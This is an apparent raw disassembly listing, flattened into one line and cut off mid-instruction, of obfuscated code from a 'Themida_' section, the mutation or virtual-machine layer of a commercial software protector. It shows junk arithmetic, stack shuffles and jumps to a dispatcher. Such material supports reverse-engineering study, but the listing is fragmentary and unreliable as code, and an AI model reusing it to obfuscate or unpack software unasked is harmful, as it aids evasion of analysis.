XREF: Themida_:00557DF8j and bl, dh pop edx xor bl, 0DAh xor al, bl jmp loc_559F32 ; --------------------------------------------------------------------------- loc_55462E: ; CODE XREF: Themida_:00552B27j sub ecx, 1644A648h mov edx, ecx pop ecx shr edx, 2 jmp loc_55A0E7 ; --------------------------------------------------------------------------- loc_55463F: ; CODE XREF: Themida_:00552434j shl edx, 4 add edx, 44536ED5h jmp loc_55BEC6 ; --------------------------------------------------------------------------- loc_55464D: ; CODE XREF: Themida_:00558F99j mov edx, esp add edx, 4 jmp loc_557E08 ; --------------------------------------------------------------------------- loc_55465A: ; CODE XREF: Themida_:0055C77Dj add esi, ebx pop ebx add esi, 4 xchg esi, [esp] pop esp add edi, 4 sub edi, 4 jmp loc_55AC47 ; --------------------------------------------------------------------------- loc_554672: ; CODE XREF: Themida_:005519ECj pop ebx add edx, edi jmp loc_552C33 ; --------------------------------------------------------------------------- loc_55467A: ; CODE XREF: Themida_:00552E40j neg ah dec ah add ah, 1 xor ah, 8Eh xor bl, ah pop eax sub al, 2Ah add al, bl add al, 2Ah mov ebx, [esp] add esp, 4 push edi mov edi, esp jmp loc_555E40 ; --------------------------------------------------------------------------- loc_55469B: ; CODE XREF: Themida_:0055C50Dj mov eax, 74F27BA1h shl eax, 2 jmp loc_557137 ; --------------------------------------------------------------------------- loc_5546A8: ; CODE XREF: Themida_:0055359Ej add ecx, eax sub ecx, 24C336E2h add dword ptr [ecx], 1 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push dword ptr [esp] jmp loc_551900 ; --------------------------------------------------------------------------- loc_5546CD: ; CODE XREF: Themida_:0055D2AAj mov ax, [esp] push edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5524D3 ; --------------------------------------------------------------------------- loc_5546E6: ; CODE XREF: Themida_:00554FBEj push ebx mov bh, dh mov ah, bh pop ebx jmp loc_557098 ; --------------------------------------------------------------------------- loc_5546F1: ; CODE XREF: Themida_:005532EFj add esp, 4 push eax push 7903h mov [esp], ebx jmp loc_55C3F7 ; --------------------------------------------------------------------------- loc_554702: ; CODE XREF: Themida_:005539F8j sub dword ptr [esp], 7EEF49AFh pop ebx add ebx, 7EEF49AFh pop edx add edi, 4BD05B84h jmp loc_55C245 ; --------------------------------------------------------------------------- loc_55471C: ; CODE XREF: Themida_:0055ACB9j push ebp jmp loc_5571E1 ; --------------------------------------------------------------------------- loc_554722: ; CODE XREF: Themida_:00555250j pop cx inc bl or bl, 1Ch push eax mov ah, 88h add bl, ah pop eax add al, 17h add al, 96h add al, bl push ecx mov cl, 96h sub al, cl pop ecx push bx mov bl, 17h sub al, 99h sub al, bl add al, 99h mov bx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] jmp loc_558AC3 ; --------------------------------------------------------------------------- loc_554760: ; CODE XREF: Themida_:0055150Dj mov edi, 0D6CD9311h sub ebp, edi pop edi jmp loc_55222B ; --------------------------------------------------------------------------- loc_55476D: ; CODE XREF: Themida_:00557D61j push 2289h mov [esp], edx jmp loc_55D0F8 ; --------------------------------------------------------------------------- loc_55477A: ; CODE XREF: Themida_:00551B99j add esp, 4 push ebx mov ebx, 671E2A2Ah jmp loc_55A041 ; --------------------------------------------------------------------------- loc_554788: ; CODE XREF: Themida_:0055216Cj add [ecx], edx push dword ptr [esp] jmp loc_5544DE ; --------------------------------------------------------------------------- loc_554792: ; CODE XREF: Themida_:0055327Fj sub bl, 8Bh sub bl, 0A5h jmp loc_55B428 ; --------------------------------------------------------------------------- loc_55479D: ; CODE XREF: Themida_:00555B26j inc edx sub edx, 7F646E7h add edi, edx pop edx add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_558432 ; --------------------------------------------------------------------------- loc_5547B8: ; CODE XREF: Themida_:0055BFCAj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_552881 ; --------------------------------------------------------------------------- loc_5547CD: ; CODE XREF: Themida_:005594C9j add esi, 4 jmp loc_55A82C ; --------------------------------------------------------------------------- loc_5547D8: ; CODE XREF: Themida_:0055C061j sub esp, 4 mov [esp], edi jmp loc_554A56 ; --------------------------------------------------------------------------- loc_5547E6: ; CODE XREF: Themida_:0055A807j pop esp mov eax, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push 244Dh jmp loc_5585B1 ; --------------------------------------------------------------------------- loc_554805: ; CODE XREF: Themida_:005598CCj mov ecx, 7C1CA9A0h jmp loc_55CF4F ; --------------------------------------------------------------------------- loc_55480F: ; CODE XREF: Themida_:00556876j mov bl, cl mov dh, bl pop ebx push dword ptr [esp] pop ecx add esp, 4 sub bl, 99h sub bl, dh add bl, 99h mov dx, [esp] add esp, 2 jmp loc_551606 ; --------------------------------------------------------------------------- loc_554835: ; CODE XREF: Themida_:0055C99Ej sub ch, 0CFh push eax mov al, 0AAh jmp loc_5548DB ; --------------------------------------------------------------------------- loc_554840: ; CODE XREF: Themida_:00555631j and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_55BCC0 push edx push ecx push 184241D6h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_55A47E ; --------------------------------------------------------------------------- lodsb push 64E6h jmp loc_55C82C ; --------------------------------------------------------------------------- loc_55487D: ; CODE XREF: Themida_:00558885j add ebx, 6A016C0Ch xor ebx, 9D446Bh push edi mov edi, 80F6914h dec edi jmp loc_5589D9 ; --------------------------------------------------------------------------- push eax push ebp push esi mov esi, 257054Eh push ecx mov ecx, 22823C5Ch and ecx, 267E3306h jmp loc_55C383 ; --------------------------------------------------------------------------- loc_5548AE: ; CODE XREF: Themida_:0055B6D1j add edx, eax jmp loc_55743B ; --------------------------------------------------------------------------- loc_5548B5: ; CODE XREF: Themida_:00558BBCj add al, 1Fh add al, 93h add al, bl sub al, 93h push ecx mov ch, 2Ah push ebx mov bl, 10h add ch, bl pop ebx or ch, 38h add ch, 0E5h sub al, ch pop ecx add al, 0A1h push 6D8Ah jmp loc_55D292 ; --------------------------------------------------------------------------- loc_5548DB: ; CODE XREF: Themida_:0055483Bj xor al, 0E8h not al not al xor al, 1Ah not al push ecx jmp loc_5566B8 ; --------------------------------------------------------------------------- loc_5548EB: ; CODE XREF: Themida_:00551F90j or ebp, 7D0A33C2h dec ebp add ebp, 9C8FBDD0h shr ebp, 7 jmp loc_559AF9 ; --------------------------------------------------------------------------- loc_554900: ; CODE XREF: Themida_:0055174Dj sub al, dh pop edx push ebx mov bh, 32h dec bh push ecx jmp loc_55B75E ; --------------------------------------------------------------------------- loc_55490E: ; CODE XREF: Themida_:00556B2Fj mov esp, [esp] jmp loc_555DCE ; --------------------------------------------------------------------------- loc_554916: ; CODE XREF: Themida_:00551E32j mov ecx, [esp] push eax jmp loc_552FDA ; --------------------------------------------------------------------------- loc_55491F: ; CODE XREF: Themida_:005527E3j mov [esp], esp push edx mov edx, 4 jmp loc_557282 ; --------------------------------------------------------------------------- loc_55492D: ; CODE XREF: Themida_:00557E52j jmp loc_551368 ; --------------------------------------------------------------------------- loc_554932: ; CODE XREF: Themida_:0055500Ej mov [esp], ecx push 55D2h mov [esp], esp jmp loc_558051 ; --------------------------------------------------------------------------- loc_554942: ; CODE XREF: Themida_:00551A86j push edx jmp loc_559461 ; --------------------------------------------------------------------------- loc_554948: ; CODE XREF: Themida_:0055BCCEj push edx mov edx, esp add edx, 4 push ebx mov ebx, 47771E82h jmp loc_55BB6B ; --------------------------------------------------------------------------- loc_55495C: ; CODE XREF: Themida_:00558E84j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax push ebx mov bl, 65h mov ah, 59h jmp loc_556E61 ; --------------------------------------------------------------------------- loc_554971: ; CODE XREF: Themida_:0055CEB7j add ch, al add ch, 0F0h jmp loc_5517A7 ; --------------------------------------------------------------------------- loc_55497B: ; CODE XREF: Themida_:00559D2Cj pop esp add [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_554985: ; CODE XREF: Themida_:00558B83j sub ebp, 0E342239h sub ebp, ebx add ebp, 0E342239h push dword ptr [esp] pop ebx jmp loc_557F8A ; --------------------------------------------------------------------------- loc_55499C: ; CODE XREF: Themida_:00554E35j add ebp, edi pop edi jmp loc_55ABA6 ; --------------------------------------------------------------------------- loc_5549A4: ; CODE XREF: Themida_:00553532j neg eax xor eax, 80FBB170h add edi, eax pop eax jmp loc_55AC90 ; --------------------------------------------------------------------------- mov ax, [esp] push edx jmp loc_555C79 ; --------------------------------------------------------------------------- loc_5549BD: ; CODE XREF: Themida_:00552704j mov eax, ebp mov ebp, [esp] add esp, 4 dec eax shl eax, 1 add eax, 7BDD5E37h push ecx push edi mov edi, 1A470D14h not edi inc edi inc edi sub edi, 0FFFFFFFFh sub edi, 404342AFh add edi, 81496B44h mov ecx, edi jmp loc_557D74 ; --------------------------------------------------------------------------- loc_5549EE: ; CODE XREF: Themida_:0055C6DDj push eax push 5217h mov [esp], ecx mov ecx, 156748F2h inc ecx sub ecx, 65A6218Ch add ecx, 3B374D62h add ecx, 6284338Bh shl ecx, 4 xor ecx, 97E5C5B3h mov eax, ecx mov ecx, [esp] add esp, 4 inc eax jmp loc_556CB8 ; --------------------------------------------------------------------------- loc_554A26: ; CODE XREF: Themida_:00551855j sub esp, 4 mov [esp], ebx mov ebx, edi jmp loc_554E14 ; --------------------------------------------------------------------------- loc_554A33: ; CODE XREF: Themida_:0055ABE5j shr ch, 4 sub esp, 4 mov [esp], eax jmp loc_554F3B ; --------------------------------------------------------------------------- loc_554A41: ; CODE XREF: Themida_:005527F3j pop eax pop esi mov eax, 12772AADh add eax, ebp pop ebp sub eax, 1 shr eax, 7 jmp loc_559FFB ; --------------------------------------------------------------------------- loc_554A56: ; CODE XREF: Themida_:005547E1j push 28C95F44h pop edi shl edi, 2 inc edi push ebx mov ebx, 47C62A53h shl ebx, 8 not ebx and ebx, 5ED94210h not ebx xor ebx, 0DC3ECD80h sub edi, ebx pop ebx add edi, 32D23C5h mov eax, edi pop edi dec eax shl eax, 4 or eax, 41B37C4Fh xor eax, 0F5B7FE6Dh sub edi, 16683B38h add edi, eax push ebp push edx mov edx, 5E85251Ah add edx, 5EA47733h sub edx, 75F44944h mov ebp, edx pop edx dec ebp add ebp, 6F6257DDh inc ebp add ebp, 5FD09052h add edi, ebp pop ebp push dword ptr [esp] pop eax jmp loc_558466 ; --------------------------------------------------------------------------- loc_554ACB: ; CODE XREF: Themida_:00552787j mov ecx, 7C71788Ah sub eax, 6E7B575Eh sub eax, ecx jmp loc_551432 ; --------------------------------------------------------------------------- loc_554ADC: ; CODE XREF: Themida_:00552230j sub edi, 377704EFh pop esi xor edi, [esp] jmp loc_553CFD ; --------------------------------------------------------------------------- loc_554AEB: ; CODE XREF: Themida_:0055D41Bj add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] mov ebp, edx jmp loc_55A51A ; --------------------------------------------------------------------------- loc_554AFB: ; CODE XREF: Themida_:0055C076j push esi push 229918AAh pop esi xor esi, 2299188Eh push esi push 37B3h mov [esp], ebp mov ebp, 721D31BDh sub dword ptr [esp+4], 621650E8h add [esp+4], ebp add dword ptr [esp+4], 621650E8h mov ebp, [esp] add esp, 4 jmp loc_5571FA ; --------------------------------------------------------------------------- loc_554B38: ; CODE XREF: Themida_:00554E5Dj mov ecx, 3F637520h not ecx add ecx, 3F637525h jmp loc_55C230 ; --------------------------------------------------------------------------- loc_554B4A: ; CODE XREF: Themida_:00553CD1j mov eax, 47905E4Fh shl eax, 4 xor eax, 18B07826h add eax, 65FC372Dh dec eax push edx mov edx, 6AD37C7Fh jmp loc_554231 ; --------------------------------------------------------------------------- loc_554B68: ; CODE XREF: Themida_:005534AFj mov eax, 4 sub ebp, 32D01A25h sub ebp, eax add ebp, 32D01A25h jmp loc_552550 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_553133 ; --------------------------------------------------------------------------- loc_554B8B: ; CODE XREF: Themida_:00557782j sub esp, 4 mov [esp], esi push esp pop esi jmp loc_551E6A ; --------------------------------------------------------------------------- loc_554B98: ; CODE XREF: Themida_:005570F1j mov eax, [esp] jmp loc_5569A8 ; --------------------------------------------------------------------------- loc_554BA0: ; CODE XREF: Themida_:00554134j xchg esi, [esp] pop esp inc ebx xor ebx, 0F9E3AD4Ch jmp loc_559EC9 ; --------------------------------------------------------------------------- loc_554BB0: ; CODE XREF: Themida_:0055A222j push ebx push 0 push dword ptr [esp] pop ebx add esp, 4 add ebx, ecx add [ebx], eax mov ebx, [esp] push esi jmp loc_555702 ; --------------------------------------------------------------------------- loc_554BCD: ; CODE XREF: Themida_:005583CEj add edx, 75B53ECDh pop eax add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_557407 ; --------------------------------------------------------------------------- loc_554BE5: ; CODE XREF: Themida_:005574C8j mov ebx, eax jmp loc_558005 ; --------------------------------------------------------------------------- loc_554BEC: ; CODE XREF: Themida_:00554140j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov ax, [esp] push ecx push esp pop ecx push esi mov esi, 4 jmp loc_555BFE ; --------------------------------------------------------------------------- loc_554C08: ; CODE XREF: Themida_:0055BDB6j add cl, 0C3h mov bl, cl pop ecx add al, bl pop bx push ebx mov bl, 12h add bl, 0B1h dec bl neg bl add bl, 6 shl bl, 6 xor bl, 0F5h jmp loc_556A15 ; --------------------------------------------------------------------------- loc_554C2A: ; CODE XREF: Themida_:0055B10Cj push ebx push small 54BFh jmp loc_552B45 ; --------------------------------------------------------------------------- loc_554C34: ; CODE XREF: Themida_:00555759j or ah, 2Ah sub ah, 0C6h sub dh, ah jmp loc_555568 ; --------------------------------------------------------------------------- loc_554C41: ; CODE XREF: Themida_:0055B803j push esp jmp loc_55B87B ; --------------------------------------------------------------------------- loc_554C47: ; CODE XREF: Themida_:0055CF97j push dword ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_554C4E: ; CODE XREF: Themida_:0055CFD3j add edi, ecx pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] xor [esp], al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_554C66: ; CODE XREF: Themida_:0055BFA7j pop edi sub ecx, esi add ecx, 603147CCh pop esi xor eax, ecx mov ecx, [esp] add esp, 4 push 5A28h mov [esp], ecx sub esp, 4 mov [esp], esi jmp loc_558811 ; --------------------------------------------------------------------------- loc_554C91: ; CODE XREF: Themida_:0055B4F6j push edi mov edi, 4 add eax, edi pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_558402 ; --------------------------------------------------------------------------- loc_554CBC: ; CODE XREF: Themida_:0055CF4Aj mov ecx, 6BC44B92h push edi mov edi, 7A804A11h add [esp+8], edi pop edi add dword ptr [esp+4], 5EFF5FACh add [esp+4], ecx push esi mov esi, 5EFF5FACh sub [esp+8], esi pop esi sub dword ptr [esp+4], 7A804A11h pop ecx add [esp], eax sub dword ptr [esp], 6BC44B92h push 5627h jmp loc_55C8A2 ; --------------------------------------------------------------------------- loc_554D00: ; CODE XREF: Themida_:0055B694j shl ebx, 4 jmp loc_556A7F ; --------------------------------------------------------------------------- loc_554D08: ; CODE XREF: Themida_:0055A3ECj add dh, 6Eh push ecx mov cl, 3Ch add dh, cl pop ecx add dh, 98h add al, 0DDh sub al, dh push 5147h mov [esp], ecx jmp loc_55A17F ; --------------------------------------------------------------------------- loc_554D25: ; CODE XREF: Themida_:00555A00j add dword ptr [esp], 386F3AF4h pop edi sub edi, 386F3AF4h pop edx and eax, edi pop edi or eax, eax jz loc_55576D push eax push 2D94h jmp loc_551950 ; --------------------------------------------------------------------------- loc_554D4A: ; CODE XREF: Themida_:00552019j push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_555DC0 ; --------------------------------------------------------------------------- loc_554D57: ; CODE XREF: Themida_:0055819Cj mov eax, [esp] add esp, 4 pop ebx add ch, 0FFh push eax mov al, 77h jmp loc_552DB9 ; --------------------------------------------------------------------------- loc_554D6C: ; CODE XREF: Themida_:00557779j push eax mov al, 12h push edx push 3A5Ch jmp loc_55585F ; --------------------------------------------------------------------------- loc_554D7A: ; CODE XREF: Themida_:0055C6FDj sub al, dl pop edx add al, bl add al, 0E6h add al, 74h push edx push ebx mov bl, 3Fh mov dl, bl pop ebx xor dl, 56h or dl, 0B8h neg dl jmp loc_559E57 ; --------------------------------------------------------------------------- loc_554D97: ; CODE XREF: Themida_:005554F7j mov bh, 0E0h dec bh jmp loc_55CBB2 ; --------------------------------------------------------------------------- loc_554DA0: ; CODE XREF: Themida_:00553C22j mov edx, edi pop edi pop ebx add ecx, edx mov edx, [esp] jmp loc_551E2A ; --------------------------------------------------------------------------- loc_554DAE: ; CODE XREF: Themida_:00552666j push 2F92h mov [esp], edi push esi push 2A936C16h pop esi add esi, 628D696Eh neg esi sub esi, 0F3E7D7EDh mov edi, esi pop esi xor edi, 5EEC5031h jmp loc_5596BA ; --------------------------------------------------------------------------- loc_554DD9: ; CODE XREF: Themida_:0055ACC8j push 2 jmp loc_555D9A ; --------------------------------------------------------------------------- loc_554DE3: ; CODE XREF: Themida_:00553319j push dword ptr [esp] jmp loc_55C855 ; --------------------------------------------------------------------------- loc_554DEB: ; CODE XREF: Themida_:0055A91Fj push ebx mov ebx, esp add ebx, 4 jmp loc_554F81 ; --------------------------------------------------------------------------- loc_554DF9: ; CODE XREF: Themida_:0055A0F3j mov edi, 1AEC4C17h push 27A6h mov [esp], ebx jmp loc_556697 ; --------------------------------------------------------------------------- loc_554E0B: ; CODE XREF: Themida_:005577B5j shr dword ptr [esp], cl pushf jmp loc_5529DA ; --------------------------------------------------------------------------- loc_554E14: ; CODE XREF: Themida_:00554A2Ej mov ebp, ebx pop ebx pop edi jmp loc_557E57 ; --------------------------------------------------------------------------- loc_554E1D: ; CODE XREF: Themida_:005576BBj xchg edx, [esp] pop esp add esp, 4 push small word ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_554E2F: ; CODE XREF: Themida_:0055B47Aj xor edi, 4E86F7DCh jmp loc_55499C ; --------------------------------------------------------------------------- loc_554E3A: ; CODE XREF: Themida_:0055439Ej mov edx, [esp] add esp, 4 add edx, 4 add edx, 2 push 3A81h mov [esp], ebp mov ebp, esp add ebp, 4 push ecx jmp loc_554B38 ; --------------------------------------------------------------------------- loc_554E62: ; CODE XREF: Themida_:005514F8j sub edx, esi jmp loc_55558E ; --------------------------------------------------------------------------- loc_554E69: ; CODE XREF: Themida_:00558B40j pop esp mov [esp], edx jmp loc_5553BC ; --------------------------------------------------------------------------- loc_554E72: ; CODE XREF: Themida_:005533E2j add edi, edx sub edi, 267B6FBCh add edi, 3A923022h jmp loc_5570DD ; --------------------------------------------------------------------------- loc_554E85: ; CODE XREF: Themida_:00558F83j mov esp, [esp] bts [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_554E93: ; CODE XREF: Themida_:0055A1ECj xor [esp+4], edi mov edi, [esp] push eax push esp pop eax add eax, 4 jmp loc_553F44 ; --------------------------------------------------------------------------- loc_554EA7: ; CODE XREF: Themida_:00558A58j pop ecx add edx, 3FC2F4CDh jmp loc_5513A9 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55CDEA ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_5579EA ; --------------------------------------------------------------------------- loc_554EC6: ; CODE XREF: Themida_:0055A7FEj xchg eax, [esp] jmp loc_551E21 ; --------------------------------------------------------------------------- loc_554ECE: ; CODE XREF: Themida_:00554395j dec byte ptr [esp] not byte ptr [esp] pop edx push 4D82h mov [esp], ebx mov bl, 35h shl bl, 3 sub bl, 0ADh jmp loc_5535D5 ; --------------------------------------------------------------------------- loc_554EEA: ; CODE XREF: Themida_:00552781j mov dh, ch push dword ptr [esp] pop ecx push eax mov eax, esp jmp loc_55AC9E ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_554F01: ; CODE XREF: Themida_:00559F4Dj pop esp xor ebx, eax pop small word ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_554F0C: ; CODE XREF: Themida_:005533A2j sub eax, edx jmp loc_552F26 ; --------------------------------------------------------------------------- loc_554F13: ; CODE XREF: Themida_:005580AAj xor edx, 2F37E0ABh xor eax, edx pop edx push esi mov esi, 54E20572h add esi, 32F44362h xchg ecx, esi dec ecx jmp loc_556661 ; --------------------------------------------------------------------------- loc_554F30: ; CODE XREF: Themida_:005553B7j push ebx mov ebx, 10970CABh jmp loc_552DA7 ; --------------------------------------------------------------------------- loc_554F3B: ; CODE XREF: Themida_:00554A3Cj mov ah, ch not ah mov ch, ah pop eax push edx mov dl, 0C4h neg dl xor dl, 2Dh sub dl, 2Fh jmp loc_554344 ; --------------------------------------------------------------------------- loc_554F52: ; CODE XREF: Themida_:00552D0Dj mov ebp, 4 add eax, ebp pop ebp push edi push esi mov esi, 4 mov edi, esi jmp loc_55422B ; --------------------------------------------------------------------------- loc_554F68: ; CODE XREF: Themida_:00558A71j add bl, 0A4h jmp loc_556360 ; --------------------------------------------------------------------------- loc_554F70: ; CODE XREF: Themida_:0055C001j mov edx, [esp] add esp, 4 add esi, 3F8B344Eh jmp loc_55A535 ; --------------------------------------------------------------------------- loc_554F81: ; CODE XREF: Themida_:00554DF4j add ebx, 4 jmp loc_55C4EF ; --------------------------------------------------------------------------- loc_554F8C: ; CODE XREF: Themida_:005543C4j sub ecx, 269643A1h sub ebp, 3E760136h add ebp, ecx add ebp, 3E760136h mov ecx, [esp] add esp, 4 sub ecx, ebp jmp loc_558128 ; --------------------------------------------------------------------------- loc_554FAD: ; CODE XREF: Themida_:0055C971j mov bl, cl pop ecx mov ch, bl pop ebx push 133Eh mov [esp], eax push edx mov dh, ch jmp loc_5546E6 ; --------------------------------------------------------------------------- loc_554FC3: ; CODE XREF: Themida_:0055A562j pop ebp push small 42EFh jmp loc_553291 ; --------------------------------------------------------------------------- loc_554FCD: ; CODE XREF: Themida_:00556988j inc ebx sub ebx, 5BC6488Fh sub ebx, 2C41D6DEh add ebp, ebx pop ebx xor ebp, 1D754045h push ebx mov ebx, 37B12D7Bh sub ebx, 25364B21h dec ebx not ebx push eax mov eax, 0FC286C59h xor ebx, eax pop eax add ebp, ebx pop ebx mov edx, ebp jmp loc_55769E ; --------------------------------------------------------------------------- loc_555005: ; CODE XREF: Themida_:00556749j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_554932 ; --------------------------------------------------------------------------- loc_555013: ; CODE XREF: Themida_:0055A483j xor ecx, ebx pop ebx jmp loc_55297D ; --------------------------------------------------------------------------- loc_55501B: ; CODE XREF: Themida_:0055C22Bj sub cl, 8Bh add al, 82h jmp loc_557ADA ; --------------------------------------------------------------------------- loc_555025: ; CODE XREF: Themida_:00559426j sub esi, 3E5852FBh push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebx mov ebx, esp push ecx mov ecx, 4E2C7841h shl ecx, 6 sub ecx, 5A265364h add ecx, 32E35F28h add ecx, 0DE14C5Eh and ecx, 51520B6Fh push edi mov edi, 5110085Eh sub ecx, edi pop edi add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_556C2A ; --------------------------------------------------------------------------- loc_555071: ; CODE XREF: Themida_:0055C949j xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_55CA23 ; --------------------------------------------------------------------------- loc_55507F: ; CODE XREF: Themida_:0055642Aj pop edi add esi, edx pop edx push 62B4h mov [esp], edx mov edx, 4 jmp loc_55CB4B ; --------------------------------------------------------------------------- loc_555095: ; CODE XREF: Themida_:0055B4BEj xor bl, 99h mov dl, bl mov ebx, [esp] add esp, 4 add bh, 0F5h sub bh, dl sub bh, 0F5h jmp loc_558364 ; --------------------------------------------------------------------------- loc_5550B0: ; CODE XREF: Themida_:0055C187j inc esi jmp loc_55CA9C ; --------------------------------------------------------------------------- loc_5550B6: ; CODE XREF: Themida_:00551C3Fj mov esi, [esp] add esp, 4 push 0 jmp loc_551EC3 ; --------------------------------------------------------------------------- loc_5550C9: ; CODE XREF: Themida_:0055514Ej push dword ptr [esp] pop eax push ebx mov ebx, esp push edx push ebx jmp loc_553E8B ; --------------------------------------------------------------------------- loc_5550D7: ; CODE XREF: Themida_:0055C191j add edx, edi jmp loc_551A46 ; --------------------------------------------------------------------------- loc_5550DE: ; CODE XREF: Themida_:005515C2j shr eax, 1 neg eax shr eax, 7 push esi jmp loc_55942B ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_5516A3 ; --------------------------------------------------------------------------- loc_5550F2: ; CODE XREF: Themida_:0055271Fj mov [esp], ebp push 9B5h mov [esp], ebx push 3102379Ch push dword ptr [esp] pop ebx add esp, 4 push edx jmp loc_559648 ; --------------------------------------------------------------------------- loc_555112: ; CODE XREF: Themida_:00552A8Bj add ebp, 4 sub esp, 4 jmp loc_55A328 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5596E3 ; --------------------------------------------------------------------------- loc_55512B: ; CODE XREF: Themida_:0055BE30j sub eax, esi pop esi jmp loc_55C6B8 ; --------------------------------------------------------------------------- loc_555133: ; CODE XREF: Themida_:0055C105j mov ebp, [esp] add esp, 4 jmp loc_558CBB ; --------------------------------------------------------------------------- loc_555141: ; CODE XREF: Themida_:00554208j push 3BB2h jmp loc_55A01A ; --------------------------------------------------------------------------- loc_55514B: ; CODE XREF: Themida_:00557B3Fj mov [esp], ebx jmp loc_5550C9 ; --------------------------------------------------------------------------- loc_555153: ; CODE XREF: Themida_:00556E12j add esp, 4 add ebp, 3FB77F44h sub ebp, 3B676C89h sub ebp, ebx push edi jmp loc_55A7CD ; --------------------------------------------------------------------------- loc_55516D: ; CODE XREF: Themida_:00556C1Dj sub al, 4Ch pop ebx add al, bl add al, 17h push ebx mov bl, 84h sub esp, 4 mov [esp], eax jmp loc_55CA1C ; --------------------------------------------------------------------------- loc_555185: ; CODE XREF: Themida_:00556289j inc eax add eax, 5A2E384Fh jmp loc_555B0C ; --------------------------------------------------------------------------- loc_555190: ; CODE XREF: Themida_:0055CA64j shr ebx, 2 add ebx, 1 shl ebx, 8 inc ebx jmp loc_55C45D ; --------------------------------------------------------------------------- loc_5551A2: ; CODE XREF: Themida_:0055CBADj add bl, 0B6h add bl, dl sub bl, 0B6h pop edx and al, bl jmp loc_5583B2 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_558F9E ; --------------------------------------------------------------------------- loc_5551BB: ; CODE XREF: Themida_:00557420j or esi, 52E86A6Dh sub esi, 13222ED8h and esi, 340E2A96h shl esi, 3 xor esi, 16D508B0h add ebp, esi pop esi jmp loc_55C5D1 ; --------------------------------------------------------------------------- loc_5551DE: ; CODE XREF: Themida_:0055447Fj mov edx, [esp] add esp, 4 mov ecx, [esp] push eax jmp loc_558094 ; --------------------------------------------------------------------------- mov ax, [esp] push 3E94h mov [esp], ebx push 0EC8h mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 sub esp, 4 mov [esp], edi mov edi, 2 push edx mov edx, 656840D7h add edx, 0E444E388h sub ebx, edx pop edx sub ebx, 61F10E9h add ebx, 6CD30EFAh jmp loc_552399 ; --------------------------------------------------------------------------- loc_55523D: ; CODE XREF: Themida_:00552D06j push 681Bh jmp loc_553D6C ; --------------------------------------------------------------------------- loc_555247: ; CODE XREF: Themida_:0055CA1Ej and bl, ah pop eax push cx mov ch, 33h xor bl, ch jmp loc_554722 ; --------------------------------------------------------------------------- loc_555255: ; CODE XREF: Themida_:0055B03Cj add esp, 4 sub [edi+24h], eax pop eax loc_55525F: ; CODE XREF: Themida_:005573ABj push 7E2Bh mov [esp], ebx sub esp, 4 jmp loc_55A1DE ; --------------------------------------------------------------------------- loc_55526F: ; CODE XREF: Themida_:0055140Aj push dword ptr [esp] pop ebp jmp loc_5528BE ; --------------------------------------------------------------------------- loc_555278: ; CODE XREF: Themida_:0055785Aj pop ecx push dword ptr [esp] pop esi add esp, 4 jmp loc_55B35A ; --------------------------------------------------------------------------- loc_555285: ; CODE XREF: Themida_:00557C36j add ebx, edx pop edx xchg ebx, [esp] pop esp push 5DCBh mov [esp], esi jmp loc_55D52B ; --------------------------------------------------------------------------- push esp mov edx, [esp] sub esp, 4 mov [esp], eax push 1915h mov [esp], esp add dword ptr [esp], 4 pop eax push 5B5Eh mov [esp], esi jmp loc_556C4F ; --------------------------------------------------------------------------- loc_5552C0: ; CODE XREF: Themida_:00559FF6j pop esp add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_5552C9: ; CODE XREF: Themida_:005544A3j push 80000h push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55AC65 ; --------------------------------------------------------------------------- loc_5552E6: ; CODE XREF: Themida_:00558D35j shr ah, 7 xor ah, 72h push ebx push ecx mov cl, ah mov bh, cl pop ecx mov ch, bh pop ebx mov eax, [esp] add esp, 4 sub al, 32h sub al, ch add al, 32h pop cx xor bl, al push 480Eh mov [esp], eax mov eax, 3FCh sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 21FB778Bh shr edx, 7 sub edx, 5845013Ch xor edx, 9BCFC78Ch mov esi, edx mov edx, [esp] add esp, 4 push edx jmp loc_55242F ; --------------------------------------------------------------------------- loc_55534A: ; CODE XREF: Themida_:0055243Dj shl ecx, 5 add ecx, 315E7397h push edi push edx mov edx, 29825D7Ch mov edi, 262980EFh xor edi, edx pop edx xor ecx, edi pop 